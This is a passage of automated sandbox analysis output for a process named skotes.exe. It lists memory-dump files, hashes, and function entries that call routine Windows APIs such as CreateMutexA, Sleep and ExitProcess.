Associated: 00000001.00000002.1891222874.0000000000356000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891243140.0000000000363000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891261008.0000000000368000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891281160.0000000000373000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891298329.0000000000376000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891316771.000000000037E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891334220.0000000000383000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891350487.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891368209.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891385849.0000000000392000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891404252.0000000000394000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891425685.00000000003A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891442763.00000000003A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891460960.00000000003AE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891482529.00000000003B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891482529.00000000003D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891531791.0000000000400000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891550316.0000000000401000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891567249.0000000000402000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891585910.0000000000408000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891607349.000000000040A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891628015.0000000000418000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891645876.0000000000419000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_100000_skotes.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: ff3b895da8359e455593cab76a85431316fff6c614e69054163c5cc9de6e39d3
Instruction ID: f20397af0c20fa4514335ad68fc234eb4813d4f6397660fd3ccaa1b8b73e6fcc
Opcode Fuzzy Hash: ff3b895da8359e455593cab76a85431316fff6c614e69054163c5cc9de6e39d3
Instruction Fuzzy Hash: 03B111329042869FDB15CF68C881BAEBFA5EF55350F15817AE859FB242D7349D01CBE0

Function 00102EC0 Relevance: 6.3, APIs: 4, Instructions: 272COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00102F5F
__Mtx_unlock.LIBCPMT ref: 00102FCC
__Mtx_unlock.LIBCPMT ref: 001030F5
__Mtx_unlock.LIBCPMT ref: 0010319B

Memory Dump Source

Source File: 00000001.00000002.1890546983.0000000000101000.00000040.00000001.01000000.00000007.sdmp, Offset: 00100000, based on PE: true

Associated: 00000001.00000002.1890507658.0000000000100000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890546983.0000000000162000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890629059.0000000000169000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890649220.000000000016B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890670010.0000000000177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890782543.00000000002C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890808743.00000000002C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890837628.00000000002E0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890860591.00000000002E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890882654.00000000002E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890882654.00000000002EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890923644.00000000002F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890943161.00000000002F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890962332.00000000002F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1890980494.00000000002F7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891001120.0000000000300000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891020117.0000000000305000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891038679.0000000000306000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891056159.0000000000307000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891080776.000000000031E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891099199.000000000031F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891120459.0000000000327000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891141081.0000000000333000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891163666.000000000034B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891183834.000000000034F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891201870.0000000000350000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891222874.0000000000356000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891243140.0000000000363000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891261008.0000000000368000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891281160.0000000000373000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891298329.0000000000376000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891316771.000000000037E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891334220.0000000000383000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891350487.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891368209.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891385849.0000000000392000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891404252.0000000000394000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891425685.00000000003A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891442763.00000000003A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891460960.00000000003AE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891482529.00000000003B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891482529.00000000003D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891531791.0000000000400000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891550316.0000000000401000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891567249.0000000000402000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891585910.0000000000408000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891607349.000000000040A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891628015.0000000000418000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1891645876.0000000000419000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_100000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock
String ID:
API String ID: 1418687624-0
Opcode ID: 5a0dceab6a77b47d2e8f2594fd22ea41ff65ae91f86da27bff7306f465077538
Instruction ID: 9a22c82522ff3148489cc50ba5411764731a5d504981c407e4f3e65cb795fce3
Opcode Fuzzy Hash: 5a0dceab6a77b47d2e8f2594fd22ea41ff65ae91f86da27bff7306f465077538
Instruction Fuzzy Hash: 0FA1F2B0A01215EFDB14DFA5C8457AAB7E8FF29310F048139E865D7281EBB1EA44CBD1

Analysis Process: skotes.exePID: 6812, Parent PID: 1044COMMON

Execution Graph

Execution Coverage:	0.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	612
Total number of Limit Nodes:	4

Executed Functions

Function 0013652B Relevance: 1.5, APIs: 1, Instructions: 24
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32(?,?,0013652A,?,?,?,?,?,00137661), ref: 00136566

Memory Dump Source

Source File: 00000002.00000002.1895228670.0000000000101000.00000040.00000001.01000000.00000007.sdmp, Offset: 00100000, based on PE: true

Associated: 00000002.00000002.1895195724.0000000000100000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895228670.0000000000162000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895317738.0000000000169000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895336761.000000000016B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895363503.0000000000177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895479726.00000000002C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895523917.00000000002C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895548368.00000000002E0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895572975.00000000002E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895593318.00000000002E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895593318.00000000002EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895639477.00000000002F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895664885.00000000002F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895721340.00000000002F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895741280.00000000002F7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895764649.0000000000300000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895818777.0000000000305000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895845111.0000000000306000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895926319.0000000000307000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895953941.000000000031E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895987551.000000000031F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896023298.0000000000327000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896053652.0000000000333000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896091921.000000000034B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896118794.000000000034F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896140163.0000000000350000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896161004.0000000000356000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896186635.0000000000363000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896215503.0000000000368000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896240956.0000000000373000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896262835.0000000000376000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896291081.000000000037E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896313520.0000000000383000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896333227.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896353590.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896375617.0000000000392000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896395886.0000000000394000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896424098.00000000003A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896444705.00000000003A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896465526.00000000003AE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896494023.00000000003B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896494023.00000000003D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896556065.0000000000400000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896579612.0000000000401000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896607666.0000000000402000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896643886.0000000000408000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896666023.000000000040A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896689770.0000000000418000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896710637.0000000000419000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_100000_skotes.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: d8b368a01d72cd289b380042a2eb51fff1eed947d293b7d5fb9899e36f5abe1f
Instruction ID: 436edb62a768050d94abb092eb0d008d45091c669f9dbd31ab6d7c688b7c46fe
Opcode Fuzzy Hash: d8b368a01d72cd289b380042a2eb51fff1eed947d293b7d5fb9899e36f5abe1f
Instruction Fuzzy Hash: A2E08C30082108BEDF25BF18CC09D483BAAEF61794F108820F9058A225CB25EEC3CA80

Function 00109BA5 Relevance: 3.1, APIs: 2, Instructions: 140
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0010A963
CreateMutexA.KERNELBASE(00000000,00000000,00163254), ref: 0010A981

Memory Dump Source

Source File: 00000002.00000002.1895228670.0000000000101000.00000040.00000001.01000000.00000007.sdmp, Offset: 00100000, based on PE: true

Associated: 00000002.00000002.1895195724.0000000000100000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895228670.0000000000162000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895317738.0000000000169000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895336761.000000000016B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895363503.0000000000177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895479726.00000000002C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895523917.00000000002C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895548368.00000000002E0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895572975.00000000002E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895593318.00000000002E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895593318.00000000002EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895639477.00000000002F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895664885.00000000002F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895721340.00000000002F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895741280.00000000002F7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895764649.0000000000300000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895818777.0000000000305000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895845111.0000000000306000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895926319.0000000000307000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895953941.000000000031E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895987551.000000000031F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896023298.0000000000327000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896053652.0000000000333000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896091921.000000000034B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896118794.000000000034F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896140163.0000000000350000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896161004.0000000000356000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896186635.0000000000363000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896215503.0000000000368000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896240956.0000000000373000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896262835.0000000000376000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896291081.000000000037E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896313520.0000000000383000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896333227.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896353590.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896375617.0000000000392000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896395886.0000000000394000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896424098.00000000003A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896444705.00000000003A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896465526.00000000003AE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896494023.00000000003B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896494023.00000000003D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896556065.0000000000400000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896579612.0000000000401000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896607666.0000000000402000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896643886.0000000000408000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896666023.000000000040A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896689770.0000000000418000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896710637.0000000000419000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_100000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: c751fdc210ae0b98d6bc219ee1a4f812a77c95b14fcae06faf542ce08310c75e
Instruction ID: 7618acf30bdfbd37fee931c676acd13b928dce272e1aa4aadcfc2523bacf912e
Opcode Fuzzy Hash: c751fdc210ae0b98d6bc219ee1a4f812a77c95b14fcae06faf542ce08310c75e
Instruction Fuzzy Hash: EB314A31B042048BFB1CDB78DDA9B6DB7A2EF92324F248218E0559B3D6C7B55981C751

Function 00109F44 Relevance: 3.1, APIs: 2, Instructions: 137
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0010A963
CreateMutexA.KERNELBASE(00000000,00000000,00163254), ref: 0010A981

Memory Dump Source

Source File: 00000002.00000002.1895228670.0000000000101000.00000040.00000001.01000000.00000007.sdmp, Offset: 00100000, based on PE: true

Associated: 00000002.00000002.1895195724.0000000000100000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895228670.0000000000162000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895317738.0000000000169000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895336761.000000000016B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895363503.0000000000177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895479726.00000000002C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895523917.00000000002C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895548368.00000000002E0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895572975.00000000002E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895593318.00000000002E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895593318.00000000002EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895639477.00000000002F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895664885.00000000002F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895721340.00000000002F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895741280.00000000002F7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895764649.0000000000300000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895818777.0000000000305000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895845111.0000000000306000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895926319.0000000000307000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895953941.000000000031E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895987551.000000000031F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896023298.0000000000327000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896053652.0000000000333000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896091921.000000000034B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896118794.000000000034F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896140163.0000000000350000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896161004.0000000000356000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896186635.0000000000363000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896215503.0000000000368000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896240956.0000000000373000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896262835.0000000000376000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896291081.000000000037E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896313520.0000000000383000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896333227.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896353590.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896375617.0000000000392000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896395886.0000000000394000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896424098.00000000003A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896444705.00000000003A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896465526.00000000003AE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896494023.00000000003B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896494023.00000000003D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896556065.0000000000400000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896579612.0000000000401000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896607666.0000000000402000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896643886.0000000000408000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896666023.000000000040A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896689770.0000000000418000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896710637.0000000000419000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_100000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: f07776bcc227bd58010862b55e82150ad2a20874835d03aa697322a7a755595c
Instruction ID: da25d1778312ec522b81027a99aea982e42a15d4d3e49cde13963b61335cfc9a
Opcode Fuzzy Hash: f07776bcc227bd58010862b55e82150ad2a20874835d03aa697322a7a755595c
Instruction Fuzzy Hash: DB314A317002049BEB1CDB78DCA8BADBB62EF85314F648618E0A5D73D5CBB55980C752

Function 0010A079 Relevance: 3.1, APIs: 2, Instructions: 136
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0010A963
CreateMutexA.KERNELBASE(00000000,00000000,00163254), ref: 0010A981

Memory Dump Source

Source File: 00000002.00000002.1895228670.0000000000101000.00000040.00000001.01000000.00000007.sdmp, Offset: 00100000, based on PE: true

Associated: 00000002.00000002.1895195724.0000000000100000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895228670.0000000000162000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895317738.0000000000169000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895336761.000000000016B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895363503.0000000000177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895479726.00000000002C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895523917.00000000002C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895548368.00000000002E0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895572975.00000000002E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895593318.00000000002E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895593318.00000000002EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895639477.00000000002F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895664885.00000000002F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895721340.00000000002F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895741280.00000000002F7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895764649.0000000000300000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895818777.0000000000305000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895845111.0000000000306000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895926319.0000000000307000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895953941.000000000031E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1895987551.000000000031F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896023298.0000000000327000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896053652.0000000000333000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896091921.000000000034B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1896118794.000000000034F000.00000040.00000001.01000000.00000007.sdmpDownload File
